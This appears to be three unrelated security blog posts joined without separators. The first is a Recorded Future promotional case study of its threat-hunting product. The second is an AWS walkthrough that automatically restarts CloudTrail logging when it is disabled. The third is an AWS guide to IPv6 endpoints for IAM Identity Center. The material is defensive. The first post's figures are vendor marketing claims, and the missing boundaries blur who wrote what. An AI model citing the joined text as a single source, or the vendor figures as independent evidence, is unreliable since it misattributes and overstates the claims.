Key Takeaways:

• Recorded Future deployed Autonomous Threat Operations within its own SOC before customer release, ensuring real-world effectiveness and identifying critical capabilities.
• Autonomous Threat Operations reduced analyst-dependent, inconsistent processes, creating standardized hunts that deliver the same input, output, and expectations every time.
• Team members now run 15-20 threat hunts weekly—work that previously required days or weeks of manual research, coordination, and planning.
• During the Salt Typhoon campaign, Recorded Future's CISO launched a comprehensive network-wide threat hunt in five minutes between meetings, enabling immediate risk mitigation.
• A single pane of glass eliminates context-switching across multiple tools, allowing analysts to hunt threats and research IOCs within one platform.

Autonomous Threat Operations in action: Real results from Recorded Future’s own SOC team

The ultimate test of any cybersecurity solution Recorded Future builds? Using it to defend our own network.

That's exactly what we did with Autonomous Threat Operations. Before rolling it out to customers, we became Customer Zero, deploying the technology within our security operations organization to see if it could truly transform the way security teams hunt for threats.

The results exceeded our expectations. What we discovered wasn't just incremental improvement; it was a fundamental shift in what our security team could accomplish.

The challenge: Inconsistent and analyst-dependent threat hunting

Prior to implementing Autonomous Threat Operations, we faced the same threat hunting challenges many security teams struggle with today. As Josh Gallion, Recorded Future's Incident Response Manager, explains: "Before using Autonomous Threat Operations, our approach to threat hunting was more piecemeal and unique to each analyst. It varied based on whatever they were comfortable with and however they were trained on the tooling."

This inconsistency meant that the quality and thoroughness of our threat hunts varied significantly by analyst. And since each team member had different strengths, different levels of experience, and different comfort levels with our security tools, we struggled to standardize the process.

The transformation: Unified, repeatable threat hunting

Autonomous Threat Operations leveled the playing field immediately. "It unifies the hunting capability and makes it so that every time analysts run a hunt, it's the same," says Gallion. "We get the same input, we get the same output, and we know what to expect."

The implementation was remarkably straightforward. "When we turned it on, it just was a simple connection to our Splunk environment," he says. "And once the team started using it, we could see an increase in the number of threat hunts each user would do."

Perhaps most importantly, Autonomous Threat Operations enabled our team to shift from reactive, manual hunting to proactive, automated operations. "Now we can schedule hunts that will continuously run over time, update with the threat actor TTPs, and give us a more holistic view," Gallion says. "Before, we had to have an analyst get back into the product and look for new IOCs to run. Now it just runs it automatically and we know that that's taken care of."

Real-world impact: Upskilling junior analysts and enabling rapid response

According to Recorded Future's CISO, Jason Steer, the true value of Autonomous Threat Operations became clear through two significant outcomes.

First, the technology dramatically upskilled our junior staff. In traditional manual workflows, preparing to run a single threat hunt could take days or even weeks—requiring extensive research, coordination, and planning.

Today, our junior analysts are running 15–20 threat hunts each week to identify high-priority threats. This isn't just about quantity; it's about empowering less experienced team members to contribute meaningfully to our defense posture while accelerating their professional development.

Gallion sees this impact firsthand. "We have newer analysts who can do more advanced hunting based on IOCs, and it does it for them automatically in the background,” he says. “We get our results, and then they can do research in the app to shore up the findings."

Second, the speed and accessibility of automated threat hunting has proven invaluable during critical moments. When Steer read about Salt Typhoon making its way into corporate networks, he didn't need to schedule a meeting, assemble a team, or wait for the next sprint cycle. In the five minutes between meetings, he was able to launch a comprehensive threat hunt across Recorded Future's entire network to identify and mitigate associated risks to our systems.

That kind of rapid response would have been impossible with manual processes—and in today's threat landscape, that speed can mean the difference between containment and catastrophe.

The advantage of a single pane of glass

Another key benefit emerged around workflow efficiency. "Having a single pane of glass makes it a lot easier for an analyst to do not just the threat hunt, but also to see the meaning behind the IOCs that they're pulling back into the app," says Gallion. "Analysts don't like to have to get into a whole bunch of different applications. If we don't have to, it speeds things up and we can add context from inside the app."

This unified approach has eliminated the context-switching and tool-juggling that had often slowed down our security team and led to missed findings.

Why the Customer Zero experience matters

Serving as Customer Zero validated what we believed Autonomous Threat Operations could deliver to every customer: consistent, repeatable threat hunting that empowers analysts of all skill levels to defend their organizations more effectively. By testing the new solution within our own security operations first, we were able to identify what works, refine the capabilities that matter most, and prove that Autonomous Threat Operations isn't just a theoretical improvement—it's a practical solution that transforms daily security operations.

Gallion sums it up this way: "Some of the aspects of Autonomous Threat Operations that'll have the biggest impact are the repeatability, the scheduling of threat hunts to happen over time, and the single pane of glass that allows analysts to research IOCs in the app without having to go into multiple tools."

We saw a need for Autonomous Threat Operations, so we built it. Being Customer Zero enabled us to test it, refine it, and ensure that it’s the best possible solution to help our customers enter the era of the autonomous SOC.

Learn more about Autonomous Threat Operations by clicking here, or start operationalizing your threat intelligence now by booking a custom demo.

December 2, 2019: Original publication date of this post.

At AWS, we encourage you to use automation. Not just to deploy your workloads and configure services, but to also help you quickly detect and respond to security events within your AWS environments. In addition to increasing the speed of detection and response, automation also helps you scale your security operations as your workloads in AWS increase and scale as well. For these reasons, security automation is a key principle outlined in the Well-Architected Framework, the AWS Cloud Adoption Framework, and the AWS Security Incident Response Guide.

Security response automation is a broad topic that spans many areas. The goal of this blog post is to introduce you to core concepts and help you get started. You will learn how to implement automated security response mechanisms within your AWS environments. This post will include common patterns that customers often use, implementation considerations, and an example solution. Additionally, we will share resources AWS has produced in the form of the Automated Security Response GitHub repo. The GitHub repo includes scripts that are ready-to-deploy for common scenarios.

What is security response automation?

Security response automation is a planned and programmed action taken to achieve a desired state for an application or resource based on a condition or event. When you implement security response automation, you should adopt an approach that draws from existing security frameworks. Frameworks are published materials which consist of standards, guidelines, and best practices in order help organizations manage cybersecurity-related risk. Using frameworks helps you achieve consistency and scalability and enables you to focus more on the strategic aspects of your security program. You should work with compliance professionals within your organization to understand any specific compliance or security frameworks that are also relevant for your AWS environment.

Our example solution is based on the NIST Cybersecurity Framework (CSF), which is designed to help organizations assess and improve their ability to help prevent, detect, and respond to security events. According to the CSF, “cybersecurity incident response” supports your ability to contain the impact of potential cybersecurity events.

Although automation is not a CSF requirement, automating responses to events enables you to create repeatable, predictable approaches to monitoring and responding to threats. When we build automation around events that we know should not occur, it gives us an advantage over a malicious actor because the automation is able to respond within minutes or even seconds compared to an on-call support engineer.

The five main steps in the CSF are identify, protect, detect, respond and recover. We’ve expanded the detect and respond steps to include automation and investigation activities.

Figure 1: The five steps in the CSF

The following definitions for each step in the diagram above are based on the CSF but have been adapted for our example in this blog post. Although we will focus on the detect, automate and respond steps, it’s important to understand the entire process flow.

• Identify: Identify and understand the resources, applications, and data within your AWS environment.
• Protect: Develop and implement appropriate controls and safeguards to facilitate the delivery of services.
• Detect: Develop and implement appropriate activities to identify the occurrence of a cybersecurity event. This step includes the implementation of monitoring capabilities which will be discussed further in the next section.
• Automate: Develop and implement planned, programmed actions that will achieve a desired state for an application or resource based on a condition or event.
• Investigate: Perform a systematic examination of the security event to establish the root cause.
• Respond: Develop and implement appropriate activities to take automated or manual actions regarding a detected security event.
• Recover: Develop and implement appropriate activities to maintain plans for resilience and to restore capabilities or services that were impaired due to a security event

Security response automation on AWS

AWS CloudTrail and AWS Config continuously log details regarding users and other identity principals, the resources they interacted with, and configuration changes they might have made in your AWS account. We are able to combine these logs with Amazon EventBridge, which gives us a single service to trigger automations based on events. You can use this information to automatically detect resource changes and to react to deviations from your desired state.

Figure 2: Automated remediation flow

As shown in the diagram above, an automated remediation flow on AWS has three stages:

1. Monitor: Your automated monitoring tools collect information about resources and applications running in your AWS environment. For example, they might collect AWS CloudTrail information about activities performed in your AWS account, usage metrics from your Amazon EC2 instances, or flow log information about the traffic going to and from network interfaces in your Amazon Virtual Private Cloud (VPC).
2. Detect: When a monitoring tool detects a predefined condition—such as a breached threshold, anomalous activity, or configuration deviation—it raises a flag within the system. A triggering condition might be an anomalous activity detected by Amazon GuardDuty, a resource out of compliance with an AWS Config rule, or a high rate of blocked requests on an Amazon VPC security group or AWS Web Application Firewall (AWS WAF) web access control list (web-acl).
3. Respond: When a condition is flagged, an automated response is triggered that performs an action you’ve predefined—something intended to remediate or mitigate the flagged condition.

Examples of automated response actions may include modifying a VPC security group, patching an Amazon EC2 instance, rotating various different types of credentials, or adding an additional entry into an IP set in AWS WAF that is part of a web-acl rule to block suspicious clients who triggered a threshold from a monitoring metric.

You can use the event-driven flow described above to achieve a variety of automated response patterns with varying degrees of complexity. Your response pattern could be as simple as invoking a single AWS Lambda function, or it could be a complex series of AWS Step Function tasks with advanced logic. In this blog post, we’ll use two simple Lambda functions in our example solution.

How to define your response automation

Now that we’ve introduced the concept of security response automation, start thinking about security requirements within your environment that you’d like to enforce through automation. These design requirements might come from general best practices you’d like to follow, or they might be specific controls from compliance frameworks relevant for your business.

Customers start with the run-books they already use as part of their Incident Response Lifecycle. Simple run-books, like responding to an exfiltrated credential, can be quickly mapped to automation especially if your run book calls for the disabling of the credential and the notification of on-call personnel. But it can be resource driven as well. Events such as a new AWS VPC being created might trigger your automation to immediately deploy your company’s standard configuration for VPC flowlog collection.

Your objectives should be quantitative, not qualitative. Here are some examples of quantitative objectives:

• Remote administrative network access to servers should be limited.
• Server storage volumes should be encrypted.
• AWS console logins should be protected by multi-factor authentication.

As an optional step, you can expand these objectives into user stories that define the conditions and remediation actions when there is an event. User stories are informal descriptions that briefly document a feature within a software system. User stories may be global and span across multiple applications or they may be specific to a single application.

For example:

“Remote administrative network access to servers should have limited access from internal trusted networks only. Remote access ports include SSH TCP port 22 and RDP TCP port 3389. If remote access ports are detected within the environment and they are accessible to outside resources, they should be automatically closed and the owner will be notified.”

Once you’ve completed your user story, you can determine how to use automated remediation to help achieve these objectives in your AWS environment. User stories should be stored in a location that provides versioning support and can reference the associated automation code.

You should carefully consider the effect of your remediation mechanisms in order to help prevent unintended impact on your resources and applications. Remediation actions such as instance termination, credential revocation, and security group modification can adversely affect application availability. Depending on the level of risk that’s acceptable to your organization, your automated mechanism can only provide a notification which would then be manually investigated prior to remediation. Once you’ve identified an automated remediation mechanism, you can build out the required components and test them in a non-production environment.

Sample response automation walkthrough

In the following section, we’ll walk you through an automated remediation for a simulated event that indicates potential unauthorized activity—the unintended disabling of CloudTrail logging. Outside parties might want to disable logging to avoid detection and the recording of their unauthorized activity. Our response is to re-enable the CloudTrail logging and immediately notify the security contact. Here’s the user story for this scenario:

“CloudTrail logging should be enabled for all AWS accounts and regions. If CloudTrail logging is disabled, it will automatically be enabled and the security operations team will be notified.”

A note about the sample response automation below as it references Amazon EventBridge: EventBridge was formerly referred to as Amazon CloudWatch Events. If you see other documentation referring to Amazon CloudWatch, you can find that configuration now via the Amazon EventBridge console page.

Additionally, we will be looking at this scenario through the lens of an account that has a stand-alone CloudTrail configuration. While this is an acceptable configuration, AWS recommends using AWS Organizations, which allows you to configure an organizational CloudTrail. These organizational trails are immutable to the child accounts so that logging data cannot be removed or tampered with.

In order to use our sample remediation, you will need to enable Amazon GuardDuty and AWS Security Hub in the AWS Region you have selected. Both of these services include a 30-day trial at no additional cost. See the AWS Security Hub pricing page and the Amazon GuardDuty pricing page for additional details.

Important: You’ll use AWS CloudTrail to test the sample remediation. Running more than one CloudTrail trail in your AWS account will result in charges based on the number of events processed while the trail is running. Charges for additional copies of management events recorded in a Region are applied based on the published pricing plan. To minimize the charges, follow the clean-up steps that we provide later in this post to remove the sample automation and delete the trail.

Deploy the sample response automation

In this section, we’ll show you how to deploy and test the CloudTrail logging remediation sample. Amazon GuardDuty generates the finding

Stealth:IAMUser/CloudTrailLoggingDisabled when CloudTrail logging is disabled, and AWS Security Hub collects findings from GuardDuty using the standardized finding format mentioned earlier. We recommend that you deploy this sample into a non- production AWS account.

Select the Launch Stack button below to deploy a CloudFormation template with an automation sample in the us-east-1 Region. You can also download the template and implement it in another Region. The template consists of an Amazon EventBridge rule, an AWS Lambda function, and the IAM permissions necessary for both components to execute. It takes several minutes for the CloudFormation stack build to complete.

1. In the CloudFormation console, choose the Select Template form, and then select Next.
2. On the Specify Details page, provide the email address for a security contact. For the purpose of this walkthrough, it should be an email address that you have access to. Then select Next.
3. On the Options page, accept the defaults, then select Next.
4. On the Review page, confirm the details, then select Create.
5. While the stack is being created, check the inbox of the email address that you provided in step 2. Look for an email message with the subject AWS Notification – Subscription Confirmation. Select the link in the body of the email to confirm your subscription to the Amazon Simple Notification Service (Amazon SNS) topic. You should see a success message like the one shown in Figure 3:
   

   Figure 3: SNS subscription confirmation

6. Return to the CloudFormation console. After the Status field for the CloudFormation stack changes to CREATE COMPLETE (as shown in Figure 4), the solution is implemented and is ready for testing.
   

   Figure 4: CREATE_COMPLETE status

Test the sample automation

You’re now ready to test the automated response by creating a test trail in CloudTrail, then trying to stop it.

1. From the AWS Management Console, choose Services > CloudTrail.
2. Select Trails, then select Create Trail.
3. On the Create Trail form:
   1. Enter a value for Trail name and for AWS KMS alias, as shown in Figure 5.
   2. For Storage location, create a new S3 bucket or choose an existing one. For our testing, we create a new S3 bucket.
      

      Figure 5: Create a CloudTrail trail

   3. On the next page, under Management events, select Write-only (to minimize event volume).
      

      Figure 6: Create a CloudTrail trail

4. On the Trails page of the CloudTrail console, verify that the new trail has started. You should see the status as logging, as shown in Figure 7.
   

   Figure 7: Verify new trail has started

5. You’re now ready to act like an unauthorized user trying to cover their tracks. Stop the logging for the trail that you just created:
   1. Select the new trail name to display its configuration page.
   2. In the top-right corner, choose the Stop logging button.
   3. When prompted with a warning dialog box, select Stop logging.
   4. Verify that the logging has stopped by confirming that the Start logging button now appears in the top right, as shown in Figure 8.
      

      Figure 8: Verify logging switch is off

   You have now simulated a security event by disabling logging for one of the trails in the CloudTrail service. Within the next few seconds, the near real-time automated response will detect the stopped trail, restart it, and send an email notification. You can refresh the Trails page of the CloudTrail console to verify through the Stop logging button at the top right corner.

   Within the next several minutes, the investigatory automated response will also begin. GuardDuty will detect the action that stopped the trail and enrich the data about the source of unexpected behavior. Security Hub will then ingest that information and optionally correlate with other security events.

   Following the steps below, you can monitor findings within Security Hub for the finding type TTPs/Defense Evasion/Stealth:IAMUser-CloudTrailLoggingDisabled to be generated:

6. In the AWS Management Console, choose Services > Security Hub.
   1. In the left pane, select Findings.
   2. Select the Add filters field, then select Type.
   3. Select EQUALS, paste TTPs/Defense Evasion/Stealth:IAMUser-CloudTrailLoggingDisabled into the field, then select Apply.
   4. Refresh your browser periodically until the finding is generated.
   

   Figure 9: Monitor Security Hub for your finding

7. Select the title of the finding to review details. When you’re ready, you can choose to archive the finding by selecting the Archive link. Alternately, you can select a custom action to continue with the response. Custom actions are one of the ways that you can integrate Security Hub with custom partner solutions.

Now that you’ve completed your review of the finding, let’s dig into the components of automation.

How the sample automation works

This example incorporates two automated responses: a near real-time workflow and an investigatory workflow. The near real-time workflow provides a rapid response to an individual event, in this case the stopping of a trail. The goal is to restore the trail to a functioning state and alert security responders as quickly as possible. The investigatory workflow still includes a response to provide defense in depth and uses services that support a more in-depth investigation of the incident.

Figure 10: Sample automation workflow

In the near real-time workflow, Amazon EventBridge monitors for the undesired activity.

When a trail is stopped, AWS CloudTrail publishes an event on the EventBridge bus. An EventBridge rule detects the trail-stopping event and invokes a Lambda function to respond to the event by restarting the trail and notifying the security contact via an Amazon Simple Notification Service (SNS) topic.

In the investigative workflow, CloudTrail logs are monitored for undesired activities. For example, if a trail is stopped, there will be a corresponding log record. GuardDuty detects this activity and retrieves additional data points regarding the source IP that executed the API call. Two common examples of those additional data points in GuardDuty findings include whether the API call came from an IP address on a threat list, or whether it came from a network not commonly used in your AWS account. An AWS Lambda function responds by restarting the trail and notifying the security contact. The finding is imported into AWS Security Hub, where it’s aggregated with other findings for analyst viewing. Using EventBridge, you can configure Security Hub to export the finding to partner security orchestration tools, SIEM (security information and event management) systems, and ticketing systems for investigation.

AWS Security Hub imports findings from AWS security services such as GuardDuty, Amazon Macie and Amazon Inspector, plus from third-party product integrations you’ve enabled. Findings are provided to Security Hub in AWS Security Finding Format (ASFF), which minimizes the need for data conversion. Security Hub correlates these findings to help you identify related security events and determine a root cause. Security Hub also publishes its findings to Amazon EventBridge to enable further processing by other AWS services such as AWS Lambda. You can also create custom actions using Security Hub. Custom actions are useful for security analysts working with the Security Hub console who want to send a specific finding, or a small set of findings, to a response or a remediation workflow.

Deeper look into how the “Respond” phase works

Amazon EventBridge and AWS Lambda work together to respond to a security finding.

Amazon EventBridge is a service that provides real-time access to changes in data in AWS services, your own applications, and Software-as-a-Service (SaaS) applications without writing code. In this example, EventBridge identifies a Security Hub finding that requires action and invokes a Lambda function that performs remediation. As shown in Figure 11, the Lambda function both notifies the security operator via SNS and restarts the stopped CloudTrail.

Figure 11: Sample “respond” workflow

To set this response up, we looked for an event to indicate that a trail had stopped or was disabled. We knew that the GuardDuty finding Stealth:IAMUser/CloudTrailLoggingDisabled is raised when CloudTrail logging is disabled. Therefore, we configured the default event bus to look for this event.

You can learn more regarding the available GuardDuty findings in the user guide.

How the code works

When Security Hub publishes a finding to EventBridge, it includes full details of the finding as discovered by GuardDuty. The finding is published in JSON format. If you review the details of the sample finding, note that it has several fields helping you identify the specific events that you’re looking for. Here are some of the relevant details:

{
   …
   "source":"aws.securityhub",
   …
   "detail":{
      "findings": [{
		…
    	“Types”: [
			"TTPs/Defense Evasion/Stealth:IAMUser-CloudTrailLoggingDisabled"
			],
		…
      }]
}

You can build an event pattern using these fields, which an EventBridge filtering rule can then use to identify events and to invoke the remediation Lambda function. Below is a snippet from the CloudFormation template we provided earlier that defines that event pattern for the EventBridge filtering rule:

# pattern matches the nested JSON format of a specific Security Hub finding
      EventPattern:
        source:
        - aws.securityhub
        detail-type:
          - "Security Hub Findings - Imported"
        detail:
          findings:
            Types:
              - "TTPs/Defense Evasion/Stealth:IAMUser-CloudTrailLoggingDisabled"

Once the rule is in place, EventBridge continuously monitors the event bus for events with this pattern.

When EventBridge finds a match, it invokes the remediating Lambda function and passes the full details of the event to the function. The Lambda function then parses the JSON fields in the event so that it can act as shown in this Python code snippet:

# extract trail ARN by parsing the incoming Security Hub finding (in JSON format)
trailARN = event['detail']['findings'][0]['ProductFields']['action/awsApiCallAction/affectedResources/AWS::CloudTrail::Trail']   

# description contains useful details to be sent to security operations
description = event['detail']['findings'][0]['Description']

The code also issues a notification to security operators so they can review the findings and insights in Security Hub and other services to better understand the incident and to decide whether further manual actions are warranted. Here’s the code snippet that uses SNS to send out a note to security operators:

#Sending the notification that the AWS CloudTrail has been disabled.
snspublish = snsclient.publish(
	TargetArn = snsARN,
	Message="Automatically restarting CloudTrail logging.  Event description: \"%s\" " %description
	)

While notifications to human operators are important, the Lambda function will not wait to take action. It immediately remediates the condition by restarting the stopped trail in CloudTrail. Here’s a code snippet that restarts the trail to reenable logging:

try:
	client = boto3.client('cloudtrail')
	enablelogging = client.start_logging(Name=trailARN)
	logger.debug("Response on enable CloudTrail logging- %s" %enablelogging)
except ClientError as e:
	logger.error("An error occured: %s" %e)

After the trail has been restarted, API activity is once again logged and can be audited.

This can help provide relevant data for the remaining steps in the incident response process. The data is especially important for the post-incident phase, when your team analyzes lessons learned to help prevent future incidents. You can also use this phase to identify additional steps to automate in your incident response.

How to Enable Custom Action and build your own Automated Response

Unlike how you set up the notification earlier, you may not want fully automate responses to findings. To set up automation that you can manually trigger it for specific findings, you can use custom actions. A custom action is a Security Hub mechanism for sending selected findings to EventBridge that can be matched by an EventBridge rule. The rule defines a specific action to take when a finding is received that is associated with the custom action ID. Custom actions can be used, for example, to send a specific finding, or a small set of findings, to a response or remediation workflow. You can create up to 50 custom actions.

In this section, we will walk you through how to create a custom action in Security Hub which will trigger an EventBridge rule to execute a Lambda function for the same security finding related to CloudTrail Disabled.

Create a Custom Action in Security Hub

1. Open Security Hub. In the left navigation pane, under Management, open the Custom actions page.
2. Choose Create custom action.
3. Enter an Action Name, Action Description, and Action ID that are representative of an action that you are implementing—for example Enable CloudTrail Logging.
4. Choose Create custom action.
5. Copy the custom action ARN that was generated. You will need it in the next steps.

Create Amazon EventBridge Rule to capture the Custom Action

In this section, you will define an EventBridge rule that will match events (findings) coming from Security Hub which were forwarded by the custom action you defined above.

1. Navigate to the Amazon EventBridge console.
2. On the right side, choose Create rule.
3. On the Define rule detail page, give your rule a name and description that represents the rule’s purpose (for example, the same name and description that you used for the custom action). Then choose Next.
4. Security Hub findings are sent as events to the AWS default event bus. In the Define pattern section, you can identify filters to take a specific action when matched events appear. For the Build event pattern step, leave the Event source set to AWS events or EventBridge partner events.
5. Scroll down to Event pattern. Under Event source, leave it set to AWS Services, and under AWS Service, select Security Hub.
6. For the Event Type, choose Security Hub Findings – Custom Action.
7. Then select Specific custom action ARN(s) and enter the ARN for the custom action that you created earlier.
8. Notice that as you selected these options, the event pattern on the right was updating. Choose Next.
9. On the Select target(s) step, from the Select a target dropdown, select Lambda function. Then, from the Function dropdown, select SecurityAutoremediation-CloudTrailStartLoggingLamb-xxxx. This lambda function was created as part of the Cloudformation template.
10. Choose Next.
11. For the Configure tags step, choose Next.
12. For the Review and create step, choose Create rule.

Trigger the automation

As GuardDuty and Security Hub have been enabled, after AWS Cloudtrail logging is enabled, you should see a security finding generated by Amazon GuardDuty and collected in AWS Security Hub.

1. Navigate to the Security Hub Findings page.
2. In the top corner, from the Actions dropdown menu, select the Enable CloudTrail Logging custom action.
3. Verify the CloudTrail configuration by accessing the AWS CloudTrail dashboard.
4. Confirm that the trail status displays as Logging, which indicates the successful execution of the remediation Lambda function triggered by the EventBridge rule through the custom action.

How AWS helps customers get started

Many customers look at the task of building automation remediation as daunting. Many operations teams might not have the skills or human scale to take on developing automation scripts. Because many Incident Response scenarios can be mapped to findings in AWS security services, we can begin building tools that respond and are quickly adaptable to your environment.

Automated Security Response (ASR) on AWS is a solution that enables AWS Security Hub customers to remediate findings with a single click using sets of predefined response and remediation actions called Playbooks. The remediations are implemented as AWS Systems Manager automation documents. The solution includes remediations for issues such as unused access keys, open security groups, weak account password policies, VPC flow logging configurations, and public S3 buckets. Remediations can also be configured to trigger automatically when findings appear in AWS Security Hub.

The solution includes the playbook remediations for some of the security controls defined as part of the following standards:

• AWS Foundational Security Best Practices (FSBP) v1.0.0
• Center for Internet Security (CIS) AWS Foundations Benchmark v1.2.0
• Center for Internet Security (CIS) AWS Foundations Benchmark v1.4.0
• Center for Internet Security (CIS) AWS Foundations Benchmark v3.0.0
• Payment Card Industry (PCI) Data Security Standard (DSS) v3.2.1
• National Institute of Standards and Technology (NIST) Special Publication 800-53 Revision 5

A Playbook called Security Control is included that allows operation with AWS Security Hub’s Consolidated Control Findings feature.

Figure 12: Architecture of the Automated Security Solution

Additionally, the library includes instructions in the Implementation Guide on how to create new automations in an existing Playbook.

You can use and deploy this library into your accounts at no additional cost, however there are costs associated with the services that it consumes.

Clean up

After you’ve completed the sample security response automation, we recommend that you remove the resources created in this walkthrough example from your account in order to minimize the charges associated with the trail in CloudTrail and data stored in S3.

Important: Deleting resources in your account can negatively impact the applications running in your AWS account. Verify that applications and AWS account security do not depend on the resources you’re about to delete.

Here are the clean-up steps:

• Delete the CloudFormation stack.
• Delete the trail you created in CloudTrail.
• If you created an S3 bucket for CloudTrail logs, you can also delete that S3 bucket.
• New accounts can try GuardDuty at no cost for 30 days. You can suspend or disable GuardDuty before the trial period ends to avoid charges.
• You can try AWS Security Hub at no cost with a 30-day free trial. You can avoid charges by disabling the service before the trial period is over.

Summary

You’ve learned the basic concepts and considerations behind security response automation on AWS and how to use Amazon EventBridge, Amazon GuardDuty and AWS Security Hub to automatically re-enable AWS CloudTrail when it becomes disabled unexpectedly. Additionally you got a chance to learn about the AWS Automated Security Response library and how it can help you rapidly get started with automations through Security Hub. As a next step, you may want to start building your own custom response automations and dive deeper into the AWS Security Incident Response Guide, NIST Cybersecurity Framework (CSF) or the AWS Cloud Adoption Framework (CAF) Security Perspective. You can explore additional automatic remediation solutions on the AWS Solution Library. You can find the code used in this example on GitHub.

If you have feedback about this blog post, submit them in the Comments section below. If you have questions about using this solution, start a thread in the
EventBridge, GuardDuty or Security Hub forums, or contact AWS Support.

Amazon Web Services (AWS) recommends using AWS IAM Identity Center to provide your workforce access to AWS managed applications—such as Amazon Q Developer—and AWS accounts. Today, we announced IAM Identity Center support for IPv6. To learn more about the advantages of IPv6, visit the IPv6 product page.

When you enable IAM Identity center, it provides an access portal for workforce users to access their AWS applications and accounts either by signing in to the access portal using a URL or by using a bookmark for the application URL. In either case, the access portal handles user authentication before granting access to applications and accounts. Supporting both IPv4 and IPv6 connectivity to the access portal helps facilitate seamless access for clients, such as browsers and applications, regardless of their network configuration.

The launch of IPv6 support in IAM Identity Center introduces new dual-stack endpoints that support both IPv4 and IPv6, so that users can connect using IPv4, IPv6, or dual-stack clients. Current IPv4 endpoints continue to function with no action required. The dual stack capability offered by Identity Center extends to managed applications. When users access the application dual-stack endpoint, the application automatically routes to the Identity Center dual-stack endpoint for authentication. To use Identity Center from IPv6 clients, you must direct your workforce to use the new dual-stack endpoints, and update configurations on your external identity provider (IdP), if you use one.

In this post, we show you how to update your configuration to allow IPv6 clients to connect directly to IAM Identity Center endpoints without requiring network address translation services. We also show you how to monitor which endpoint users are connecting to. Before diving into the implementation details, let’s review the key phases of the transition process.

Transition overview

To use IAM Identity Center from an IPv6 network and client, you need to use the new dual-stack endpoints. Figure 1 shows what the transition from IPv4 to IPv6 over dual-stack endpoints looks like when using Identity Center. The figure shows:

• A before state where clients use the IPv4 endpoints.
• The transition phase, when your clients use a combination of IPv4 and dual-stack endpoints.
• After the transition is complete, your clients will connect to dual-stack endpoints using their IPv4 or IPv6, depending on their preferences.

Figure 1: Transition from IPv4-only to dual-stack endpoints

Prerequisites

You must have the following prerequisites in place to enable IPv6 access for your workforce users and administrators:

• An existing IAM Identity Center instance
• Updated firewalls or gateways to include the new dual-stack endpoints
• IPv6 capable clients and networks

Work with your network administrators to update the configuration of your firewalls and gateways and to verify that your clients, such as laptops or desktops, are ready to accept IPv6 connectivity. If you have already enabled IPv6 connectivity for other AWS services, you might be familiar with these changes. Next, implement the two steps that follow.

Step 1: Update your IdP configuration

You can skip this step If you don’t use an external IdP as your identity source.

In this step, you update the Assertion Consumer Service (ACS) URL from your IAM Identity Center instance into your IdP’s configuration for single sign-on and the SCIM configuration for user provisioning. Your IdP’s capability determines how you update the ACS URLs. If your IdP supports multiple ACS URLs, configure both IPv4 and dual-stack URLs to enable a flexible transition. With that configuration, some users can continue using IPv4-only endpoints while others use dual-stack endpoints for IPv6. If your IdP supports only one ACS URL, to use IPv6 you must update the new dual-stack ACS URL in your IdP and transition all users to using dual-stack endpoints. If you don’t use an external IdP, you can skip this step and go to the next step.

Update both the SAML single sign-on and the SCIM provisioning configurations:

1. Update the single sign-on settings in your IdP to use the new dual-stack URLs. First, locate the URLs in the AWS Management Console for IAM Identity Center.
   1. Choose Settings in the navigation pane and then select Identity source.
   2. Choose Actions and select Manage authentication.
   3. in Under Manage SAML 2.0 authentication, you will find the following URLs under Service provider metadata:
      • AWS access portal sign-in URL
      • IAM Identity Center Assertion Consumer Service (ACS) URL
      • IAM Identity Center issuer URL
2. If your IdP supports multiple ACS URLs, then add the dual-stack URL to your IdP configuration alongside existing IPv4 one. With this setting, you and your users can decide when to start using the dual-stack endpoints, without all users in your organization having to switch together.
   

   Figure 2: Dual-stack single sign-on URLs

3. If your IdP does not support multiple ACS URLs, replace the existing IPv4 URL with the new dual-stack URL, and switch your workforce to use only the dual-stack endpoints.
4. Update the provisioning endpoint in your IdP. Choose Settings in the navigation pane and under Identity source, choose Actions and select Manage provisioning. Under Automatic provisioning, copy the new SCIM endpoint that ends in api.aws. Update this new URL in your external IdP.
   

   Figure 3: Dual-stack SCIM endpoint URL

Step 2: Locate and share the new dual-stack endpoints

Your organization needs two kinds of URLs for IPv6 connectivity. The first is the new dual-stack access portal URL that your workforce users use to access their assigned AWS applications and accounts. The dual-stack access portal URL is available in the IAM Identity Center console, listed as the Dual-stack in the Settings summary (you might need to expand the Access portal URLs section, shown in Figure 4).

Figure 4: Locate dual-stack access portal endpoints

This dual-stack URL ends with app.aws as its top-level domain (TLD). Share this URL with your workforce and ask them to use this dual-stack URL to connect over IPv6. As an example, if your workforce uses the access portal to access AWS accounts, they will need to sign in through the new dual-stack access portal URL when using IPv6 connectivity. Alternately, if your workforce accesses the application URL, you need to enable the dual-stack application URL following application-specific instructions. For more information, see AWS services that support IPv6.

The URLs that administrators use to manage IAM Identity Center are the second kind of URL your organization needs. The new dual-stack service endpoints end in api.aws as their TLD and are listed in the Identity Center service endpoints. Administrators can use these service endpoints to manage users and groups in Identity Center, update their access to applications and resources, and perform other management operations. As an example, if your administrator uses identitystore.{region}.amazonaws.com to manage users and groups in Identity Center, they should now use the dual-stack version of the same service endpoint which is identitystore.{region}.api.aws, so they can connect to service endpoints using IPv6 clients and networks.

If your users or administrators use an AWS SDK to access AWS applications and accounts or manage services, follow Dual-stack and FIPS endpoints to enable connectivity to the dual-stack endpoints.

After completing these two steps, your workforce and administrators can connect to IAM Identity Center using IPv6. Remember, these endpoints also support IPv4, so clients not yet IPv6-capable can continue to connect using IPv4.

Monitoring dual-stack endpoint usage

You can optionally monitor AWS CloudTrail logs to track usage of dual-stack endpoints. The key difference between IPv4-only and dual-stack endpoint usage is the TLD and appears in the clientProvidedHostHeader field. The following example shows the difference between these CloudTrail events for the CreateTokenWithIAM API call.

"CloudTrailEvent": {
  "eventName": "CreateToken",
  "tlsDetails": {
     "tlsVersion": "TLSv1.3",
     "cipherSuite": "TLS_AES_128_GCM_SHA256",
     "clientProvidedHostHeader": "oidc.us-east-1.amazonaws.com"
  }
}

"CloudTrailEvent": {
  "eventName": "CreateToken",
  "tlsDetails": {
     "tlsVersion": "TLSv1.3",
     "cipherSuite": "TLS_AES_128_GCM_SHA256",
     "clientProvidedHostHeader": "oidc.us-east-1.api.aws"
  }
}

Conclusion

IAM Identity Center now allows clients to connect over IPv6 natively with no network address translation infrastructure. This post showed you how to transition your organization to use IPv6 with Identity Center and its integrated applications. Remember that existing IPv4 endpoints will continue to function, so you can transition at your own pace. Also, no immediate action is required by you. However, we recommend planning your transition to take advantage of IPv6 benefits and meet compliance requirements. If you have questions, comments, or concerns, contact AWS Support, or start a new thread in the IAM Identity Center re:Post channel.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

